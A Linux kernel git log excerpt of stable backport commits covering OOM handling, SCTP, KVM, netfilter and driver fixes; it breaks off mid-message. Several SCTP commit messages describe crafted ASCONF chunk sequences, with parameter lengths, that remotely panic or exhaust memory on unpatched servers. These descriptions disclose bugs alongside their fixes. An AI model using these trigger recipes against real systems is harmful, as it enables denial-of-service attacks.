Johannes Weiner Date: Thu Sep 12 15:13:36 2013 -0700 arch: mm: remove obsolete init OOM protection commit 94bce453c78996cc4373d5da6cfabe07fcc6d9f9 upstream. The memcg code can trap tasks in the context of the failing allocation until an OOM situation is resolved. They can hold all kinds of locks (fs, mm) at this point, which makes it prone to deadlocking. This series converts memcg OOM handling into a two step process that is started in the charge context, but any waiting is done after the fault stack is fully unwound. Patches 1-4 prepare architecture handlers to support the new memcg requirements, but in doing so they also remove old cruft and unify out-of-memory behavior across architectures. Patch 5 disables the memcg OOM handling for syscalls, readahead, kernel faults, because they can gracefully unwind the stack with -ENOMEM. OOM handling is restricted to user triggered faults that have no other option. Patch 6 reworks memcg's hierarchical OOM locking to make it a little more obvious wth is going on in there: reduce locked regions, rename locking functions, reorder and document. Patch 7 implements the two-part OOM handling such that tasks are never trapped with the full charge stack in an OOM situation. This patch: Back before smart OOM killing, when faulting tasks were killed directly on allocation failures, the arch-specific fault handlers needed special protection for the init process. Now that all fault handlers call into the generic OOM killer (see commit 609838cfed97: "mm: invoke oom-killer from remaining unconverted page fault handlers"), which already provides init protection, the arch-specific leftovers can be removed. Signed-off-by: Johannes Weiner Reviewed-by: Michal Hocko Acked-by: KOSAKI Motohiro Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Acked-by: Vineet Gupta [arch/arc bits] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1433e6fc5732adfbbd76062c7269af7117925ce Author: Johannes Weiner Date: Mon Jul 8 15:59:50 2013 -0700 mm: invoke oom-killer from remaining unconverted page fault handlers commit 609838cfed972d49a65aac7923a9ff5cbe482e30 upstream. A few remaining architectures directly kill the page faulting task in an out of memory situation. This is usually not a good idea since that task might not even use a significant amount of memory and so may not be the optimal victim to resolve the situation. Since 2.6.29's 1c0fe6e ("mm: invoke oom-killer from page fault") there is a hook that architecture page fault handlers are supposed to call to invoke the OOM killer and let it pick the right task to kill. Convert the remaining architectures over to this hook. To have the previous behavior of simply taking out the faulting task the vm.oom_kill_allocating_task sysctl can be set to 1. Signed-off-by: Johannes Weiner Reviewed-by: Michal Hocko Cc: KAMEZAWA Hiroyuki Acked-by: David Rientjes Acked-by: Vineet Gupta [arch/arc bits] Cc: James Hogan Cc: David Howells Cc: Jonas Bonn Cc: Chen Liqin Cc: Lennox Wu Cc: Chris Metcalf Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65061fe1b096e70a11bd139b03613272cd273dbb Author: Daniel Borkmann Date: Thu Oct 9 22:55:31 2014 +0200 net: sctp: fix skb_over_panic when receiving malformed ASCONF chunks commit 9de7922bc709eee2f609cd01d98aaedc4cf5ea74 upstream. Commit 6f4c618ddb0 ("SCTP : Add paramters validity check for ASCONF chunk") added basic verification of ASCONF chunks, however, it is still possible to remotely crash a server by sending a special crafted ASCONF chunk, even up to pre 2.6.12 kernels: skb_over_panic: text:ffffffffa01ea1c3 len:31056 put:30768 head:ffff88011bd81800 data:ffff88011bd81800 tail:0x7950 end:0x440 dev: ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:129! [...] Call Trace: [] skb_put+0x5c/0x70 [] sctp_addto_chunk+0x63/0xd0 [sctp] [] sctp_process_asconf+0x1af/0x540 [sctp] [] ? _read_unlock_bh+0x15/0x20 [] sctp_sf_do_asconf+0x168/0x240 [sctp] [] sctp_do_sm+0x71/0x1210 [sctp] [] ? fib_rules_lookup+0xad/0xf0 [] ? sctp_cmp_addr_exact+0x32/0x40 [sctp] [] sctp_assoc_bh_rcv+0xd3/0x180 [sctp] [] sctp_inq_push+0x56/0x80 [sctp] [] sctp_rcv+0x982/0xa10 [sctp] [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter] [] ? nf_iterate+0x69/0xb0 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? nf_hook_slow+0x76/0x120 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ip_local_deliver_finish+0xdd/0x2d0 [] ip_local_deliver+0x98/0xa0 [] ip_rcv_finish+0x12d/0x440 [] ip_rcv+0x275/0x350 [] __netif_receive_skb+0x4ab/0x750 [] netif_receive_skb+0x58/0x60 This can be triggered e.g., through a simple scripted nmap connection scan injecting the chunk after the handshake, for example, ... -------------- INIT[ASCONF; ASCONF_ACK] -------------> <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- ------------------ ASCONF; UNKNOWN ------------------> ... where ASCONF chunk of length 280 contains 2 parameters ... 1) Add IP address parameter (param length: 16) 2) Add/del IP address parameter (param length: 255) ... followed by an UNKNOWN chunk of e.g. 4 bytes. Here, the Address Parameter in the ASCONF chunk is even missing, too. This is just an example and similarly-crafted ASCONF chunks could be used just as well. The ASCONF chunk passes through sctp_verify_asconf() as all parameters passed sanity checks, and after walking, we ended up successfully at the chunk end boundary, and thus may invoke sctp_process_asconf(). Parameter walking is done with WORD_ROUND() to take padding into account. In sctp_process_asconf()'s TLV processing, we may fail in sctp_process_asconf_param() e.g., due to removal of the IP address that is also the source address of the packet containing the ASCONF chunk, and thus we need to add all TLVs after the failure to our ASCONF response to remote via helper function sctp_add_asconf_response(), which basically invokes a sctp_addto_chunk() adding the error parameters to the given skb. When walking to the next parameter this time, we proceed with ... length = ntohs(asconf_param->param_hdr.length); asconf_param = (void *)asconf_param + length; ... instead of the WORD_ROUND()'ed length, thus resulting here in an off-by-one that leads to reading the follow-up garbage parameter length of 12336, and thus throwing an skb_over_panic for the reply when trying to sctp_addto_chunk() next time, which implicitly calls the skb_put() with that length. Fix it by using sctp_walk_params() [ which is also used in INIT parameter processing ] macro in the verification *and* in ASCONF processing: it will make sure we don't spill over, that we walk parameters WORD_ROUND()'ed. Moreover, we're being more defensive and guard against unknown parameter types and missized addresses. Joint work with Vlad Yasevich. Fixes: b896b82be4ae ("[SCTP] ADDIP: Support for processing incoming ASCONF_ACK chunks.") Signed-off-by: Daniel Borkmann Signed-off-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Cc: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b65f5af742a0555ddb53f112da4d0ac385ca62e0 Author: Daniel Borkmann Date: Thu Oct 9 22:55:32 2014 +0200 net: sctp: fix panic on duplicate ASCONF chunks commit b69040d8e39f20d5215a03502a8e8b4c6ab78395 upstream. When receiving a e.g. semi-good formed connection scan in the form of ... -------------- INIT[ASCONF; ASCONF_ACK] -------------> <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- ---------------- ASCONF_a; ASCONF_b -----------------> ... where ASCONF_a equals ASCONF_b chunk (at least both serials need to be equal), we panic an SCTP server! The problem is that good-formed ASCONF chunks that we reply with ASCONF_ACK chunks are cached per serial. Thus, when we receive a same ASCONF chunk twice (e.g. through a lost ASCONF_ACK), we do not need to process them again on the server side (that was the idea, also proposed in the RFC). Instead, we know it was cached and we just resend the cached chunk instead. So far, so good. Where things get nasty is in SCTP's side effect interpreter, that is, sctp_cmd_interpreter(): While incoming ASCONF_a (chunk = event_arg) is being marked !end_of_packet and !singleton, and we have an association context, we do not flush the outqueue the first time after processing the ASCONF_ACK singleton chunk via SCTP_CMD_REPLY. Instead, we keep it queued up, although we set local_cork to 1. Commit 2e3216cd54b1 changed the precedence, so that as long as we get bundled, incoming chunks we try possible bundling on outgoing queue as well. Before this commit, we would just flush the output queue. Now, while ASCONF_a's ASCONF_ACK sits in the corked outq, we continue to process the same ASCONF_b chunk from the packet. As we have cached the previous ASCONF_ACK, we find it, grab it and do another SCTP_CMD_REPLY command on it. So, effectively, we rip the chunk->list pointers and requeue the same ASCONF_ACK chunk another time. Since we process ASCONF_b, it's correctly marked with end_of_packet and we enforce an uncork, and thus flush, thus crashing the kernel. Fix it by testing if the ASCONF_ACK is currently pending and if that is the case, do not requeue it. When flushing the output queue we may relink the chunk for preparing an outgoing packet, but eventually unlink it when it's copied into the skb right before transmission. Joint work with Vlad Yasevich. Fixes: 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") Signed-off-by: Daniel Borkmann Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Cc: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5fe6f3595c9c780af3acb25ea8eb0a35810bf86b Author: Daniel Borkmann Date: Thu Oct 9 22:55:33 2014 +0200 net: sctp: fix remote memory pressure from excessive queueing commit 26b87c7881006311828bb0ab271a551a62dcceb4 upstream. This scenario is not limited to ASCONF, just taken as one example triggering the issue. When receiving ASCONF probes in the form of ... -------------- INIT[ASCONF; ASCONF_ACK] -------------> <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- ---- ASCONF_a; [ASCONF_b; ...; ASCONF_n;] JUNK ------> [...] ---- ASCONF_m; [ASCONF_o; ...; ASCONF_z;] JUNK ------> ... where ASCONF_a, ASCONF_b, ..., ASCONF_z are good-formed ASCONFs and have increasing serial numbers, we process such ASCONF chunk(s) marked with !end_of_packet and !singleton, since we have not yet reached the SCTP packet end. SCTP does only do verification on a chunk by chunk basis, as an SCTP packet is nothing more than just a container of a stream of chunks which it eats up one by one. We could run into the case that we receive a packet with a malformed tail, above marked as trailing JUNK. All previous chunks are here goodformed, so the stack will eat up all previous chunks up to this point. In case JUNK does not fit into a chunk header and there are no more other chunks in the input queue, or in case JUNK contains a garbage chunk header, but the encoded chunk length would exceed the skb tail, or we came here from an entirely different scenario and the chunk has pdiscard=1 mark (without having had a flush point), it will happen, that we will excessively queue up the association's output queue (a correct final chunk may then turn it into a response flood when flushing the queue ;)): I ran a simple script with incremental ASCONF serial numbers and could see the server side consuming excessive amount of RAM [before/after: up to 2GB and more]. The issue at heart is that the chunk train basically ends with !end_of_packet and !singleton markers and since commit 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") therefore preventing an output queue flush point in sctp_do_sm() -> sctp_cmd_interpreter() on the input chunk (chunk = event_arg) even though local_cork is set, but its precedence has changed since then. In the normal case, the last chunk with end_of_packet=1 would trigger the queue flush to accommodate possible outgoing bundling. In the input queue, sctp_inq_pop() seems to do the right thing in terms of discarding invalid chunks. So, above JUNK will not enter the state machine and instead be released and exit the sctp_assoc_bh_rcv() chunk processing loop. It's simply the flush point being missing at loop exit. Adding a try-flush approach on the output queue might not work as the underlying infrastructure might be long gone at this point due to the side-effect interpreter run. One possibility, albeit a bit of a kludge, would be to defer invalid chunk freeing into the state machine in order to possibly trigger packet discards and thus indirectly a queue flush on error. It would surely be better to discard chunks as in the current, perhaps better controlled environment, but going back and forth, it's simply architecturally not possible. I tried various trailing JUNK attack cases and it seems to look good now. Joint work with Vlad Yasevich. Fixes: 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") Signed-off-by: Daniel Borkmann Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Cc: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c079ff2ea1a101b6f27f7dec95afc5693a79043c Author: Nadav Amit Date: Wed Sep 17 02:50:50 2014 +0300 KVM: x86: Don't report guest userspace emulation error to userspace commit a2b9e6c1a35afcc0973acb72e591c714e78885ff upstream. Commit fc3a9157d314 ("KVM: X86: Don't report L2 emulation failures to user-space") disabled the reporting of L2 (nested guest) emulation failures to userspace due to race-condition between a vmexit and the instruction emulator. The same rational applies also to userspace applications that are permitted by the guest OS to access MMIO area or perform PIO. This patch extends the current behavior - of injecting a #UD instead of reporting it to userspace - also for guest userspace code. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4c6791d39a0e941773109b20acab8c80119da4b Author: Tomas Henzl Date: Thu Aug 1 15:14:00 2013 +0200 SCSI: hpsa: fix a race in cmd_free/scsi_done commit 2cc5bfaf854463d9d1aa52091f60110fbf102a96 upstream. When the driver calls scsi_done and after that frees it's internal preallocated memory it can happen that a new job is enqueud before the memory is freed. The allocation fails and the message "cmd_alloc returned NULL" is shown. Patch below fixes it by moving cmd->scsi_done after cmd_free. Signed-off-by: Tomas Henzl Acked-by: Stephen M. Cameron Signed-off-by: James Bottomley Cc: Masoud Sharbiani Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d463bf715be1d2a674c343a998bedad7fdf7d4c1 Author: Eugenia Emantayev Date: Thu Jul 25 19:21:23 2013 +0300 net/mlx4_en: Fix BlueFlame race commit 2d4b646613d6b12175b017aca18113945af1faf3 upstream. Fix a race between BlueFlame flow and stamping in post send flow. Example: SW: Build WQE 0 on the TX buffer, except the ownership bit SW: Set ownership for WQE 0 on the TX buffer SW: Ring doorbell for WQE 0 SW: Build WQE 1 on the TX buffer, except the ownership bit SW: Set ownership for WQE 1 on the TX buffer HW: Read WQE 0 and then WQE 1, before doorbell was rung/BF was done for WQE 1 HW: Produce CQEs for WQE 0 and WQE 1 SW: Process the CQEs, and stamp WQE 0 and WQE 1 accordingly (on the TX buffer) SW: Copy WQE 1 from the TX buffer to the BF register - ALREADY STAMPED! HW: CQE error with index 0xFFFF - the BF WQE's control segment is STAMPED, so the BF index is 0xFFFF. Error: Invalid Opcode. As a result QP enters the error state and no traffic can be sent. Solution: When stamping - do not stamp last completed wqe. Signed-off-by: Eugenia Emantayev Signed-off-by: Amir Vadai Signed-off-by: David S. Miller Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f56ce8350e2f610ad0a622c62edbd2f70a4fdfd Author: Ben Dooks Date: Thu Jul 25 14:38:03 2013 +0100 ARM: Correct BUG() assembly to ensure it is endian-agnostic commit 63328070eff2f4fd730c86966a0dbc976147c39f upstream. Currently BUG() uses .word or .hword to create the necessary illegal instructions. However if we are building BE8 then these get swapped by the linker into different illegal instructions in the text. This means that the BUG() macro does not get trapped properly. Change to using to provide the necessary ARM instruction building as we cannot rely on gcc/gas having the `.inst` instructions which where added to try and resolve this issue (reported by Dave Martin ). Signed-off-by: Ben Dooks Reviewed-by: Dave Martin Cc: Wang Nan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82e42457d3a3b57f0a7be77fe679c894b8161316 Author: Vince Weaver Date: Mon Jul 14 15:33:25 2014 -0400 perf/x86/intel: Use proper dTLB-load-misses event on IvyBridge commit 1996388e9f4e3444db8273bc08d25164d2967c21 upstream. This was discussed back in February: https://lkml.org/lkml/2014/2/18/956 But I never saw a patch come out of it. On IvyBridge we share the SandyBridge cache event tables, but the dTLB-load-miss event is not compatible. Patch it up after the fact to the proper DTLB_LOAD_MISSES.DEMAND_LD_MISS_CAUSES_A_WALK Signed-off-by: Vince Weaver Signed-off-by: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Link: http://lkml.kernel.org/r/alpine.DEB.2.11.1407141528200.17214@vincent-weaver-1.umelst.maine.edu Signed-off-by: Ingo Molnar Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a2d19e4186fd82500cce78145b35bd069a9d1d2 Author: Alexander Usyskin Date: Mon Aug 25 16:46:53 2014 +0300 mei: bus: fix possible boundaries violation commit cfda2794b5afe7ce64ee9605c64bef0e56a48125 upstream. function 'strncpy' will fill whole buffer 'id.name' of fixed size (32) with string value and will not leave place for NULL-terminator. Possible buffer boundaries violation in following string operations. Replace strncpy with strlcpy. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc2b8ed3e22a3b8e492785f99b00c7b171eecfe3 Author: Pawel Moll Date: Fri Jun 13 16:03:32 2014 +0100 perf: Handle compat ioctl commit b3f207855f57b9c8f43a547a801340bb5cbc59e5 upstream. When running a 32-bit userspace on a 64-bit kernel (eg. i386 application on x86_64 kernel or 32-bit arm userspace on arm64 kernel) some of the perf ioctls must be treated with special care, as they have a pointer size encoded in the command. For example, PERF_EVENT_IOC_ID in 32-bit world will be encoded as 0x80042407, but 64-bit kernel will expect 0x80082407. In result the ioctl will fail returning -ENOTTY. This patch solves the problem by adding code fixing up the size as compat_ioctl file operation. Reported-by: Drew Richardson Signed-off-by: Pawel Moll Signed-off-by: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Link: http://lkml.kernel.org/r/1402671812-9078-1-git-send-email-pawel.moll@arm.com Signed-off-by: Ingo Molnar Signed-off-by: David Ahern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a3b8ef8c3f48546632c2578054ceb12ab9ce4be Author: Yoichi Yuasa Date: Wed Oct 2 15:03:03 2013 +0900 MIPS: Fix forgotten preempt_enable() when CPU has inclusive pcaches commit 5596b0b245fb9d2cefb5023b11061050351c1398 upstream. [ 1.904000] BUG: scheduling while atomic: swapper/1/0x00000002 [ 1.908000] Modules linked in: [ 1.916000] CPU: 0 PID: 1 Comm: swapper Not tainted 3.12.0-rc2-lemote-los.git-5318619-dirty #1 [ 1.920000] Stack : 0000000031aac000 ffffffff810d0000 0000000000000052 ffffffff802730a4 0000000000000000 0000000000000001 ffffffff810cdf90 ffffffff810d0000 ffffffff8068b968 ffffffff806f5537 ffffffff810cdf90 980000009f0782e8 0000000000000001 ffffffff80720000 ffffffff806b0000 980000009f078000 980000009f290000 ffffffff805f312c 980000009f05b5d8 ffffffff80233518 980000009f05b5e8 ffffffff80274b7c 980000009f078000 ffffffff8068b968 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 980000009f05b520 0000000000000000 ffffffff805f2f6c 0000000000000000 ffffffff80700000 ffffffff80700000 ffffffff806fc758 ffffffff80700000 ffffffff8020be98 ffffffff806fceb0 ffffffff805f2f6c ... [ 2.028000] Call Trace: [ 2.032000] [] show_stack+0x80/0x98 [ 2.036000] [] __schedule_bug+0x44/0x6c [ 2.040000] [] __schedule+0x518/0x5b0 [ 2.044000] [] schedule_timeout+0x128/0x1f0 [ 2.048000] [] msleep+0x3c/0x60 [ 2.052000] [] do_probe+0x238/0x3a8 [ 2.056000] [] ide_probe_port+0x340/0x7e8 [ 2.060000] [] ide_host_register+0x2d0/0x7a8 [ 2.064000] [] ide_pci_init_two+0x4e4/0x790 [ 2.068000] [] amd74xx_probe+0x148/0x2c8 [ 2.072000] [] pci_device_probe+0xc4/0x130 [ 2.076000] [] driver_probe_device+0x98/0x270 [ 2.080000] [] __driver_attach+0xe0/0xe8 [ 2.084000] [] bus_for_each_dev+0x78/0xe0 [ 2.088000] [] bus_add_driver+0x230/0x310 [ 2.092000] [] driver_register+0x84/0x158 [ 2.096000] [] do_one_initcall+0x104/0x160 Signed-off-by: Yoichi Yuasa Reported-by: Aaro Koskinen Tested-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Cc: Linux Kernel Mailing List Patchwork: https://patchwork.linux-mips.org/patch/5941/ Signed-off-by: Ralf Baechle Cc: Alexandre Oliva Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 55e725384e6f3c066e764f2250fe6e8521dacb91 Author: Pali Rohár Date: Mon Sep 29 15:10:51 2014 +0200 dell-wmi: Fix access out of memory commit a666b6ffbc9b6705a3ced704f52c3fe9ea8bf959 upstream. Without this patch, dell-wmi is trying to access elements of dynamically allocated array without checking the array size. This can lead to memory corruption or a kernel panic. This patch adds the missing checks for array size. Signed-off-by: Pali Rohár Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7922d8489fce7d69cbea1af4376ea4079fd11ca8 Author: Ben Dooks Date: Fri Nov 8 18:29:25 2013 +0000 ARM: probes: fix instruction fetch order with commit 888be25402021a425da3e85e2d5a954d7509286e upstream. If we are running BE8, the data and instruction endianness do not match, so use to correctly translate memory accesses into ARM instructions. Acked-by: Jon Medhurst Signed-off-by: Ben Dooks [taras.kondratiuk@linaro.org: fixed Thumb instruction fetch order] Signed-off-by: Taras Kondratiuk [wangnan: backport to 3.10 and 3.14: - adjust context - backport all changes on arch/arm/kernel/probes.c to arch/arm/kernel/kprobes-common.c since we don't have commit c18377c303787ded44b7decd7dee694db0f205e9. - After the above adjustments, becomes same to Taras Kondratiuk's original patch: http://lists.linaro.org/pipermail/linaro-kernel/2014-January/010346.html ] Signed-off-by: Wang Nan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6db69df29e50d716160490d5b6343ac4a54a36ab Author: Jiri Pirko Date: Thu Dec 5 16:27:37 2013 +0100 br: fix use of ->rx_handler_data in code executed on non-rx_handler path commit 859828c0ea476b42f3a93d69d117aaba90994b6f upstream. br_stp_rcv() is reached by non-rx_handler path. That means there is no guarantee that dev is bridge port and therefore simple NULL check of ->rx_handler_data is not enough. There is need to check if dev is really bridge port and since only rcu read lock is held here, do it by checking ->rx_handler pointer. Note that synchronize_net() in netdev_rx_handler_unregister() ensures this approach as valid. Introduced originally by: commit f350a0a87374418635689471606454abc7beaa3a "bridge: use rx_handler_data pointer to store net_bridge_port pointer" Fixed but not in the best way by: commit b5ed54e94d324f17c97852296d61a143f01b227a "bridge: fix RCU races with bridge port" Reintroduced by: commit 716ec052d2280d511e10e90ad54a86f5b5d4dcc2 "bridge: fix NULL pointer deref of br_port_get_rcu" Please apply to stable trees as well. Thanks. RH bugzilla reference: https://bugzilla.redhat.com/show_bug.cgi?id=1025770 Reported-by: Laine Stump Debugged-by: Michael S. Tsirkin Signed-off-by: Michael S. Tsirkin Signed-off-by: Jiri Pirko Acked-by: Michael S. Tsirkin Acked-by: Eric Dumazet Signed-off-by: David S. Miller Cc: Andrew Collins Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a586566dcee40fdd8e96de2d6682dd4f9ea85eb Author: Florian Westphal Date: Sat Jun 7 21:17:04 2014 +0200 netfilter: nf_nat: fix oops on netns removal commit 945b2b2d259d1a4364a2799e80e8ff32f8c6ee6f upstream. Quoting Samu Kallio: Basically what's happening is, during netns cleanup, nf_nat_net_exit gets called before ipv4_net_exit. As I understand it, nf_nat_net_exit is supposed to kill any conntrack entries which have NAT context (through nf_ct_iterate_cleanup), but for some reason this doesn't happen (perhaps something else is still holding refs to those entries?). When ipv4_net_exit is called, conntrack entries (including those with NAT context) are cleaned up, but the nat_bysource hashtable is long gone - freed in nf_nat_net_exit. The bug happens when attempting to free a conntrack entry whose NAT hash 'prev' field points to a slot in the freed hash table (head for that bin). We ignore conntracks with null nat bindings. But this is wrong, as these are in bysource hash table as well. Restore nat-cleaning for the netns-is-being-removed case. bug: https://bugzilla.kernel.org/show_bug.cgi?id=65191 Fixes: c2d421e1718 ('netfilter: nf_nat: fix race when unloading protocol modules') Reported-by: Samu Kallio Debugged-by: Samu Kallio Signed-off-by: Florian Westphal Tested-by: Samu Kallio Signed-off-by: Pablo Neira Ayuso [samu.kallio@aberdeencloud.com: backport to 3.10-stable] Signed-off-by: Samu Kallio Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1def8fe0d9f0b673e47320c0b546172b95b05b99 Author: Pablo Neira Date: Tue Jul 29 18:12:15 2014 +0200 netfilter: xt_bpf: add mising opaque struct sk_filter definition commit e10038a8ec06ac819b7552bb67aaa6d2d6f850c1 upstream. This structure is not exposed to userspace, so fix this by defining struct sk_filter; so we skip the casting in kernelspace. This is safe since userspace has no way to lurk with that internal pointer. Fixes: e6f30c7 ("netfilter: x_tables: add xt_bpf match") Signed-off-by: Pablo Neira Ayuso Acked-by: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77857cd602374cff4dbe7fbe4b74b46d3015a3d5 Author: Houcheng Lin Date: Thu Oct 23 10:36:08 2014 +0200 netfilter: nf_log: release skbuff on nlmsg put failure commit b51d3fa364885a2c1e1668f88776c67c95291820 upstream. The kernel should reserve enough room in the skb so that the DONE message can always be appended. However, in case of e.g. new attribute erronously not being size-accounted for, __nfulnl_send() will still try to put next nlmsg into this full skbuf, causing the skb to be stuck forever and blocking delivery of further messages. Fix issue by releasing skb immediately after nlmsg_put error and WARN() so we can track down the cause of such size mismatch. [ fw@strlen.de: add tailroom/len info to WARN ] Signed-off-by: Houcheng Lin Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edfa2afb60033f24406cb513c941372b7e4b210d Author: Florian Westphal Date: Thu Oct 23 10:36:07 2014 +0200 netfilter: nfnetlink_log: fix maximum packet length logged to userspace commit c1e7dc91eed0ed1a51c9b814d648db18bf8fc6e9 upstream. don't try to queue payloads > 0xffff - NLA_HDRLEN, it does not work. The nla length includes the size of the nla struct, so anything larger results in u16 integer overflow. This patch is similar to 9cefbbc9c8f9abe (netfilter: nfnetlink_queue: cleanup copy_range usage). Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fef57dab2343396cdea2e7c4a993f123ce8bd407 Author: Florian Westphal Date: Thu Oct 23 10:36:06 2014 +0200 netfilter: nf_log: account for size of NLMSG_DONE attribute commit 9dfa1dfe4d5e5e66a991321ab08afe69759d797a upstream. We currently neither account for the nlattr size, nor do we consider the size of the trailing NLMSG_DONE when allocating nlmsg skb. This can result in nflog to stop working, as __nfulnl_send() re-tries sending forever if it failed to append NLMSG_DONE (which will never work if buffer is not large enough). Reported-by: Houcheng Lin Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fe7866f213c5bb76f34d9a736930d518008dfff Author: Andrey Vagin Date: Mon Oct 13 15:54:10 2014 -0700 ipc: always handle a new value of auto_msgmni commit 1195d94e006b23c6292e78857e154872e33b6d7e upstream. proc_dointvec_minmax() returns zero if a new value has been set. So we don't need to check all charecters have been handled. Below you can find two examples. In the new value has not been handled properly. $ strace ./a.out open("/proc/sys/kernel/auto_msgmni", O_WRONLY) = 3 write(3, "0\n\0", 3) = 2 close(3) = 0 exit_group(0) $ cat /sys/kernel/debug/tracing/trace $strace ./a.out open("/proc/sys/kernel/auto_msgmni", O_WRONLY) = 3 write(3, "0\n", 2) = 2 close(3) = 0 $ cat /sys/kernel/debug/tracing/trace a.out-697 [000] .... 3280.998235: unregister_ipcns_notifier <-proc_ipcauto_dointvec_minmax Fixes: 9eefe520c814 ("ipc: do not use a negative value to re-enable msgmni automatic recomputin") Signed-off-by: Andrey Vagin Cc: Mathias Krause Cc: Manfred Spraul Cc: Joe Perches Cc: Davidlohr Bueso Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 000e6de8b02ef67d3b2821e7ad1f864988e3bc7d Author: Bjorn Helgaas Date: Mon Oct 13 18:59:09 2014 -0600 clocksource: Remove "weak" from clocksource_default_clock() declaration commit 96a2adbc6f501996418da9f7afe39bf0e4d006a9 upstream. kernel/time/jiffies.c provides a default clocksource_default_clock() definition explicitly marked "weak". arch/s390 provides its own definition intended to override the default, but the "weak" attribute on the declaration applied to the s390 definition as well, so the linker chose one based on link order (see 10629d711ed7 ("PCI: Remove __weak annotation from pcibios_get_phb_of_node decl")). Remove the "weak" attribute from the clocksource_default_clock() declaration so we always prefer a non-weak definition over the weak one, independent of link order. Fixes: f1b82746c1e9 ("clocksource: Cleanup clocksource selection") Signed-off-by: Bjorn Helgaas Acked-by: John Stultz Acked-by: Ingo Molnar CC: Daniel Lezcano CC: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2092b494c1becb7c1017f3bbff8ee0c86873131a Author: Bjorn Helgaas Date: Mon Oct 13 19:00:25 2014 -0600 kgdb: Remove "weak" from kgdb_arch_pc() declaration commit 107bcc6d566cb40184068d888637f9aefe6252dd upstream. kernel/debug/debug_core.c provides a default kgdb_arch_pc() definition explicitly marked "weak". Several architectures provide their own definitions intended to override the default, but the "weak" attribute on the declaration applied to the arch definitions as well, so the linker chose one based on link order (see 10629d711ed7 ("PCI: Remove __weak annotation from pcibios_get_phb_of_node decl")). Remove the "weak" attribute from the declaration so we always prefer a non-weak definition over the weak one, independent of link order. Fixes: 688b744d8bc8 ("kgdb: fix signedness mixmatches, add statics, add declaration to header") Tested-by: Vineet Gupta # for ARC build Signed-off-by: Bjorn Helgaas Reviewed-by: Harvey Harrison Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffc7af0ef2b50507c2ef5bed3b7fa6080f705b47 Author: Dan Carpenter Date: Fri Sep 5 09:09:28 2014 -0300 media: ttusb-dec: buffer overflow in ioctl commit f2e323ec96077642d397bb1c355def536d489d16 upstream. We need to add a limit check here so we don't overflow the buffer. Signed-off-by: Dan Carpenter Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b748ef8196059b115898b8465e1eb20b66d22fbe Author: Trond Myklebust Date: Mon Nov 10 18:43:56 2014 -0500 NFSv4: Fix races between nfs_remove_bad_delegation() and delegation return commit 869f9dfa4d6d57b79e0afc3af14772c2a023eeb1 upstream. Any attempt to call nfs_remove_bad_delegation() while a delegation is being returned is currently a no-op. This means that we can end up looping forever in nfs_end_delegation_return() 